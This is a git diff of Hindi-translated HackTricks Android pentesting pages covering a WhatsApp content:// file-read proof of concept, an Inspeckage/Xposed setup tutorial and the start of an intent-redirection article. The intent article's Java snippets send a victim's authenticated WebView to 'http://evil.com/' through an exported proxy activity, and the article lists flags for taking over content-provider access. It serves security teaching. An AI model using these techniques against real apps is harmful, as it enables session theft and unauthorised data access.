गंभीर भेद्यता है, विशेष रूप से Android 9 या Android के पिछले संस्करणों पर चलने वाले उपकरणों पर। इन उपकरणों पर scoped storage \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] लागू नहीं होता है और, परिणामस्वरूप, **/sdcard** के तहत और अधिक रोचक रूप से **/sdcard/Android** के तहत एप्लिकेशन-विशिष्ट डेटा को सिस्टम के Media Store content provider के माध्यम से पहुँचा जा सकता है। -एक प्रमाण-ऑफ-कांसेप्ट बहुत सरल है। **/sdcard** के तहत अपलोड किए गए एक HTML दस्तावेज़ का उपयोग `XMLHttpRequest` करके विषम `content://` URL तक पहुंच करता है। फिर इसे मीडिया स्टोर में जोड़ा जाता है और च्रोम में प्रदर्शित किया जाता है, पहले दिए गए उदाहरण की तरह। प्रदर्शन के उद्देश्यों के लिए, कोशिश की जा सकती है कि `content://media/external/file/747` को लोड किया जाए, जो वास्तव में "Hello, world!" उदाहरण का मीडिया स्टोर URL है। आश्चर्यजनक रूप से, HTML दस्तावेज़ के मूल के अंदर चल रहा जावास्क्रिप्ट कोड, सामग्री को लाएगा और **test.txt** की सामग्री को प्राप्त करेगा और प्रदर्शित करेगा। +एक proof-of-concept काफी सरल है। एक HTML दस्तावेज़ जो `XMLHttpRequest` का उपयोग करके मनमाने `content://` URLs तक पहुँचता है, **/sdcard** के नीचे अपलोड किया जाता है। इसे फिर Media Store में जोड़ा जाता है और Chrome में रेंडर किया जाता है, जैसा कि पहले दिखाए गए उदाहरण के समान तरीके से। प्रदर्शन के उद्देश्यों के लिए, कोई `content://media/external/file/747` को लोड करने का प्रयास कर सकता है जो वास्तव में "Hello, world!" उदाहरण का Media Store URL है। आश्चर्यजनक रूप से, HTML दस्तावेज़ के origin के भीतर चल रहे Javascript कोड, **test.txt** की सामग्री को प्राप्त करेगा और प्रदर्शित करेगा। ```markup @@ -100,21 +98,18 @@ xhr.send(); ``` -**इस लेख से ली गई जानकारी:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) - +**इस लेखन से ली गई जानकारी:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें। +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
diff --git a/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md b/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md index 424b17350..6dff35278 100644 --- a/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md +++ b/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md @@ -1,90 +1,83 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**. +* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
-**ट्यूटोरियल** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7) **से कॉपी किया गया है** +**ट्यूटोरियल कॉपी किया गया** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7) से ## Xposed Framework स्थापित करें -1. [यहां से](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/) Xposed Installer APK डाउनलोड करें -2. [यहां से](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip) Xposed Framework zip डाउनलोड करें -3. [यहां से](https://github.com/ac-pm/Inspeckage/releases) Inspeckage v2.4 APK डाउनलोड करें +1. [यहाँ](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/) से Xposed Installer APK डाउनलोड करें +2. [यहाँ](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip) से Xposed Framework zip डाउनलोड करें +3. github repo [यहाँ](https://github.com/ac-pm/Inspeckage/releases) से Inspeckage v2.4 APK डाउनलोड करें -मेनू से वर्चुअल डिवाइस शुरू करें +मेनू से Virtual Device शुरू करें ![](https://miro.medium.com/max/1000/1\*7fprdQrerabZFKpDJSbHuA.png) -यदि adb के लिए डिवाइस ऑनलाइन है, सुनिश्चित करें +सुनिश्चित करें कि adb के लिए डिवाइस ऑनलाइन है ![](https://miro.medium.com/max/700/1\*Pt3zh1Od9ufQuo66rCge3g.png) -Xposed framework zip फ़ाइल (`xposed-vXX-sdkXX-x86.zip`) को अपने वर्चुअल डिवाइस डिस्प्ले पर ड्रैग और ड्रॉप करें ताकि डिवाइस को फ़्लैश किया जा सके। +Xposed framework zip फाइल (`xposed-vXX-sdkXX-x86.zip`) को अपने वर्चुअल डिवाइस डिस्प्ले पर ड्रैग और ड्रॉप करें ताकि डिवाइस फ्लैश हो जाए। -Xposed Installer APK (`XposedInstaller_*.apk`) को डिवाइस डिस्प्ले पर ड्रैग और ड्रॉप करें। इससे _Xposed Installer_ एप्लिकेशन स्थापित हो जाएगा और लॉन्च होगा। इस चरण में, यह प्रदर्शित करेगा कि Xposed framework स्थापित है लेकिन अक्षम है:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) +Xposed Installer APK (`XposedInstaller_*.apk`) को ड्रैग और ड्रॉप करें। इससे _Xposed Installer_ एप्लिकेशन इंस्टॉल हो जाएगा और लॉन्च होगा। इस स्टेज पर, यह दिखाएगा कि Xposed framework इंस्टॉल हो गया है लेकिन डिसेबल है:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) ![](https://miro.medium.com/max/700/0\*0ddJI69QvpxC8rXq.png) -`adb reboot` कमांड के साथ डिवाइस को रिबूट करें। **_Xposed Installer_** से रिबूट न करें क्योंकि यह डिवाइस को फ्रीज कर देगा। +`adb reboot` कमांड से डिवाइस को रिबूट करें। **_Xposed Installer_ से रिबूट न करें क्योंकि इससे डिवाइस फ्रीज हो जाएगा।** ![](https://miro.medium.com/max/657/1\*V\_jl42vdOcJLXvS0riI7Gg.png) -_Xposed installer_ लॉन्च करें। यह प्रदर्शित करेगा "Xposed Framework version XX is active" +_Xposed installer_ लॉन्च करें। यह दिखाएगा “Xposed Framework version XX is active” ![](https://miro.medium.com/max/700/0\*QUDB2ryUyIWz3nmZ.png) -Inspeackage APK (app-release.apk) को अपने वर्चुअल डिवाइस डिस्प्ले पर ड्रैग और ड्रॉप करें ताकि ऐप स्थापित हो सके। +Inspeackage APK (app-release.apk) को अपने वर्चुअल डिवाइस डिस्प्ले पर ड्रैग और ड्रॉप करके एप्लिकेशन इंस्टॉल करें। -स्थापित होने के बाद, Xposed Installer → Modules→ Activate the Module → reboot via adb में जाएं +इंस्टॉल करने के बाद, Xposed Installer → Modules→ Activate the Module → adb के माध्यम से रिबूट करें ![](https://miro.medium.com/max/623/1\*7sO6IX46hciTBUtWoyLEFQ.png) -Inspeckage के साथ डायनामिक विश्लेषण +## Inspeckage के साथ डायनामिक विश्लेषण -Inspeckage और Xposed Installer को सफलतापूर्वक स्थापित करने के बाद, अब हम किसी भी ऐप्लिकेशन को Inspeackage के साथ हुक कर सकते हैं। इसके लिए निम्नलिखित चरणों का पालन करें +Inspeckage और Xposed Installer की सफल स्थापना के बाद, अब हम किसी भी एप्लिकेशन को Inspeackage के साथ हुक कर सकते हैं। इसके लिए नीचे दिए गए चरणों का पालन करें -1. ऐप्लिकेशन ड्रायर से Inspeckage एप्लिकेशन लॉन्च करें -2. "Choose target" पाठ पर क्लिक करें और लक्षित ऐप्लिकेशन का चयन करें +1. एप्लिकेशन ड्रॉअर से Inspeckage एप्लिकेशन लॉन्च करें +2. "Choose target" टेक्स्ट पर क्लिक करें और लक्ष्य एप्लिकेशन चुनें ![](https://miro.medium.com/max/700/1\*J5J\_rCHOC0ga0YJ5kbwqbQ.png) -3\. फिर adb का उपयोग करके मुख्य मशीन को VD स्थानिक-होस्ट पोर्ट पर फ़ॉरवर्ड करें +3\. फिर adb का उपयोग करके VD लोकल-होस्ट पोर्ट को मुख्य मशीन से फॉरवर्ड करें ``` adb forward tcp:8008 tcp:8008 ``` -![](https://miro.medium.com/max/1000/1\*4lEvYQBILsyr3DqTdiOzig.png) - -4\. अब "LAUNCH APP" बटन पर क्लिक करें और फिर [`http://127.0.0.1:8008`](http://127.0.0.1:8008) पर जाएं। - -5\. अब ऐप की जांच करने के लिए बटन को चालू करें। (सुनिश्चित करें कि "App is running:" स्थिति **True** होनी चाहिए इससे पहले कि आप "Turn On" करें। - -![](https://miro.medium.com/max/1000/1\*jCs1Qo4vlgKyb6yIGvIl4w.png) +``` +4\. अब “**LAUNCH APP**” बटन पर क्लिक करें और फिर [`http://127.0.0.1:8008`](http://127.0.0.1:8008) पर जाएँ। +5\. अब ऐप की जांच करने के लिए बटन को Turn On करें। (सुनिश्चित करें कि `App is running:` स्थिति **True** होनी चाहिए इससे पहले कि आप “Turn On” करें) +```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह। - -- प्राप्त करें [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** अनुसरण करें। - -- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके।** +* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें। +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह। +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में शामिल हों या मुझे **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो** करें। +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
diff --git a/mobile-pentesting/android-app-pentesting/intent-injection.md b/mobile-pentesting/android-app-pentesting/intent-injection.md index 2d651955d..dfb86856c 100644 --- a/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -1,59 +1,55 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert)! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
-**यहां से लिया गया अनुसंधान** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/) +**शोध लिया गया** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/) # परिचय -यह सुरक्षा के वेब में **ओपन रीडायरेक्ट** की तरह होती है। क्योंकि `Intent` कक्षा `Parcelable` होती है, इस कक्षा के **ऑब्जेक्ट** को एक अन्य `Intent` ऑब्जेक्ट में **अतिरिक्त डेटा** के रूप में **पास** किया जा सकता है। \ -बहुत से डेवलपर्स इस सुविधा का उपयोग करते हैं और **प्रॉक्सी** **कंपोनेंट्स** (गतिविधियाँ, ब्रॉडकास्ट रिसीवर और सेवाएं) बनाते हैं जो **एक एम्बेडेड Intent लेते हैं और इसे खतरनाक विधियों में पास करते हैं** जैसे कि `startActivity(...)`, `sendBroadcast(...)` आदि। \ -यह खतरनाक है क्योंकि **एक हमलावर ऐप को ऐसे अन्य ऐप से सीधे लॉन्च नहीं किया जा सकने वाले गैर-निर्यातित कंपोनेंट को लॉन्च करने के लिए मजबूर कर सकता है**, या उसे अपने सामग्री प्रदाताओं तक पहुंच दे सकता है। **`WebView`** भी कभी-कभी **एक स्ट्रिंग से `Intent`** ऑब्जेक्ट में **URL को बदल देता है**, `Intent.parseUri(...)` विधि का उपयोग करके, और इसे `startActivity(...)` को पास करता है। +यह कमजोरी **वेब सुरक्षा में Open Redirect** के समान है। चूंकि `Intent` क्लास `Parcelable` है, **इस क्लास के ऑब्जेक्ट्स** को दूसरे `Intent` ऑब्जेक्ट में **अतिरिक्त** **डेटा** के रूप में **पास** किया जा सकता है। \ +कई डेवलपर्स इस **फीचर** का उपयोग करते हैं और **प्रॉक्सी** **कॉम्पोनेंट्स** (एक्टिविटीज, ब्रॉडकास्ट रिसीवर्स और सर्विसेज) बनाते हैं जो **एक एम्बेडेड Intent को लेकर उसे खतरनाक मेथड्स** जैसे `startActivity(...)`, `sendBroadcast(...)`, आदि को पास करते हैं। \ +यह खतरनाक है क्योंकि **एक हमलावर ऐप को एक नॉन-एक्सपोर्टेड कॉम्पोनेंट लॉन्च करने के लिए मजबूर कर सकता है जिसे सीधे दूसरे ऐप से लॉन्च नहीं किया जा सकता**, या हमलावर को इसके कंटेंट प्रोवाइडर्स तक पहुंच प्रदान कर सकता है। **`WebView`** कभी-कभी एक **URL को स्ट्रिंग से `Intent`** ऑब्जेक्ट में बदल देता है, `Intent.parseUri(...)` मेथड का उपयोग करके, और इसे `startActivity(...)` को पास करता है। {% hint style="info" %} -सारांश के रूप में: यदि एक हमलावर एक ऐसा Intent भेज सकता है जो असुरक्षित रूप से निष्पादित हो रहा है, तो उसे संभावित रूप से निर्यातित कंपोनेंटों तक पहुंच मिल सकती है और उनका दुरुपयोग कर सकता है। +सारांश: यदि हमलावर एक Intent भेज सकता है जो असुरक्षित रूप से निष्पादित किया जा रहा है, तो वह संभावित रूप से निर्यात नहीं किए गए कॉम्पोनेंट्स तक पहुंच सकता है और उनका दुरुपयोग कर सकता है। {% endhint %} -# एक सामान्य मामला +# एक विशिष्ट मामला -चलो एक उदाहरण की जांच करते हैं। `AndroidManifest.xml` फ़ाइल का टुकड़ा +एक उदाहरण की जांच करते हैं। `AndroidManifest.xml` फाइल का अंश ```markup ``` -गतिविधि `ProxyActivity` +Activity `ProxyActivity` ```java startActivity((Intent) getIntent().getParcelableExtra("extra_intent")); ``` -गतिविधि `AuthWebViewActivity` +Activity `AuthWebViewActivity` ```java webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders()); ``` -`AuthWebViewActivity` एक उदाहरण है **छिपी हुई ऐप की कार्यान्वयन क्षमता की जो कुछ असुरक्षित कार्रवाई करती है**, इस मामले में उपयोगकर्ता की प्रमाणीकरण सत्र को `url` पैरामीटर से प्राप्त किए गए URL पर पास करना। +`AuthWebViewActivity` एक उदाहरण है **छिपे हुए ऐप कार्यक्षमता का जो कुछ असुरक्षित क्रियाएं करता है**, इस मामले में यूजर के प्रमाणीकरण सत्र को `url` पैरामीटर से प्राप्त URL पर पास करना। -निर्यात प्रतिबंध के कारण **हमलावर `AuthWebViewActivity` तक सीधे पहुंच नहीं पा सकता**। एक सीधी कॉल +निर्यात प्रतिबंधों का मतलब है **हमलावर सीधे `AuthWebViewActivity` तक पहुँच नहीं सकता**। एक सीधी कॉल ```java Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); intent.putExtra("url", "http://evil.com/"); startActivity(intent); ``` -एक `java.lang.SecurityException` फेंकता है, `Permission Denial` के कारण: `AuthWebViewActivity` uid 1337 से निर्यात नहीं किया गया। - -लेकिन हमलावर विक्टिम को मजबूर कर सकता है `AuthWebViewActivity` खुद को लॉन्च करने के लिए: +फिर भी, हमलावर **पीड़ित को `AuthWebViewActivity` स्वयं लॉन्च करने के लिए मजबूर कर सकता है**: ```java Intent extra = new Intent(); extra.setClassName("com.victim", "com.victim.AuthWebViewActivity"); @@ -64,33 +60,31 @@ intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` -और कोई सुरक्षा उल्लंघन उत्पन्न नहीं होगा, क्योंकि उस ऐप के पास जो हमले के तहत है, वह अपने सभी घटकों तक पहुंच रखता है। इस कोड टुकड़े का उपयोग करके हमलावार अप्प को एंड्रॉइड सिस्टम की निर्मित प्रतिबंधों को दूर कर सकते हैं। +# प्रभाव की वृद्धि -# प्रभाव का विस्तार +इस संवेदनशीलता के प्रभाव को बढ़ाने के लिए आपको **अन्य वल्न/मिसकॉन्फिगरेशन्स का पता लगाना होगा जो इस संवेदनशीलता के प्रभाव को बढ़ा सकते हैं** (क्योंकि अकेले यह संवेदनशीलता कोई जोखिम नहीं बना रही है)। -इस दुर्बलता के प्रभाव को विस्तारित करने के लिए, आपको **ऐसी अन्य दुर्बलताओं / गलतियों का पता लगाना होगा जो दुर्बलता के प्रभाव को बढ़ा सकती हैं** (क्योंकि दुर्बलता अपने आप में कोई जोखिम नहीं बना रही है)। +## Content Providers के माध्यम से हमलों की वृद्धि -## सामग्री प्रदाताओं के माध्यम से हमलों का विस्तार +मूल ऐप के मनमाने कॉम्पोनेंट्स तक पहुंच के अलावा, **हमलावर उस वल्नरेबल ऐप के Content Providers तक पहुंचने का प्रयास कर सकता है** जो निम्नलिखित शर्तों को पूरा करते हैं: -मूल ऐप के विषमताओं के अलावा, **हमलावर व्यक्ति को विषमताओं के सामग्री प्रदाताओं के पहुंच को प्राप्त करने का प्रयास कर सकता है** जो निम्नलिखित शर्तों को पूरा करते हैं: +* यह **नॉन-एक्सपोर्टेड** होना चाहिए (अन्यथा इसे सीधे हमला किया जा सकता है, इस लेख में चर्चा की जा रही संवेदनशीलता का उपयोग किए बिना) +* इसमें **`android:grantUriPermissions`** फ्लैग को **`true`** पर सेट किया गया होना चाहिए। +* `android:grantUriPermissions="true"` का मतलब है कि आपका Java कोड **किसी भी `Uri` के लिए `FLAG_GRANT_READ_URI_PERMISSION` और `FLAG_GRANT_WRITE_URI_PERMISSION` का उपयोग कर सकता है** जो उस `ContentProvider` द्वारा सेवा किया जाता है। +* `android:grantUriPermissions="false"` का मतलब है कि **केवल वे `Uri` मान जो बच्चे `` तत्वों द्वारा निर्दिष्ट किए गए हैं** `FLAG_GRANT_READ_URI_PERMISSION` और `FLAG_GRANT_WRITE_URI_PERMISSION` के साथ उपयोग किए जा सकते हैं। -* यह **निर्यात नहीं होना चाहिए** (अन्यथा इसे **बिना इस लेख में चर्चा की जा रही दुर्बलता का उपयोग किए बिना सीधे हमला किया जा सकता है**) -* इसे **`android:grantUriPermissions`** फ़्लैग को **`true`** पर सेट किया जाना चाहिए। -* `android:grantUriPermissions="true"` इसका अर्थ है कि आपका जावा कोड `FLAG_GRANT_READ_URI_PERMISSION` और `FLAG_GRANT_WRITE_URI_PERMISSION` का उपयोग कर सकता है **उस `ContentProvider` द्वारा प्रदान की जाने वाली किसी भी `Uri` के लिए**। -* `android:grantUriPermissions="false"` इसका अर्थ है कि केवल उन `Uri` मानों का उपयोग `FLAG_GRANT_READ_URI_PERMISSION` और `FLAG_GRANT_WRITE_URI_PERMISSION` के साथ किया जा सकता है जिन्हें बच्चा `` तत्वों द्वारा निर्दिष्ट किया गया है। +हमलावर को खुद को एक एम्बेडेड इंटेंट का प्राप्तकर्ता के रूप में सेट करना होगा और निम्नलिखित फ्लैग्स सेट करने होंगे -हमलावर को एक संबद्ध इंटेंट के प्राप्तकर्ता के रूप में सेट करना होगा और निम्नलिखित फ़्लैग सेट करना होगा +* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` प्रोवाइडर तक स्थायी पहुंच की अनुमति देता है (इस फ्लैग के बिना, पहुंच केवल एक बार के लिए होती है) +* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` URI तक पहुंच की अनुमति देता है प्रीफिक्स द्वारा – उदाहरण के लिए, `content://com.victim.provider/image/1` जैसे पूर्ण पथ का बार-बार अलग से पहुंच प्राप्त करने के बजाय, हमलावर URI `content://com.victim.provider/` का उपयोग करके प्रोवाइडर की सभी सामग्री तक पहुंच प्रदान कर सकता है और फिर `ContentResolver` का उपयोग करके `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, आदि को संबोधित कर सकता है। +* `Intent.FLAG_GRANT_READ_URI_PERMISSION` प्रोवाइडर पर पढ़ने की क्रियाओं की अनुमति देता है (जैसे `query`, `openFile`, `openAssetFile`) +* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` लिखने की क्रियाओं की अनुमति देता है -* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` प्रदाता के लिए स्थायी पहुंच की अनुमति देता है (इस फ़्लैग के बिना, पहुंच केवल एक बार होती है) -* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` प्रिफ़िक्स द्वारा URI पहुंच की अनुमति देता है - उदाहरण के लिए, एक पूर्ण पथ का उपयोग करके अलग-अलग पहुंच प्राप्त करने की बजाय `content://com.victim.provider/image/1` जैसे पूर्ण पथ का उपयोग करके हमलावर सभी प्रदाता की सामग्री का उपयोग कर सकता है और फिर `ContentResolver` का उपयोग करके `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2` आदि को पता कर सकता है। -* `Intent.FLAG_GRANT_READ_URI_PERMISSION` प्रदाता पर पढ़ने के लिए अनुमति देता है (जैसे `query`, `openFile`, `openAssetFile` आदि) -* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` लिखने के लिए अनुमति देता है - -एक आम प्रदाता का उदाहरण जहां हमलावर इसे प्राप्त कर सकता है और `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile` जैसे नियमित आपरेशन कर सकता है। +एक ऐसे टिपिकल प्रोवाइडर का उदाहरण जहां हमलावर पहुंच प्राप्त 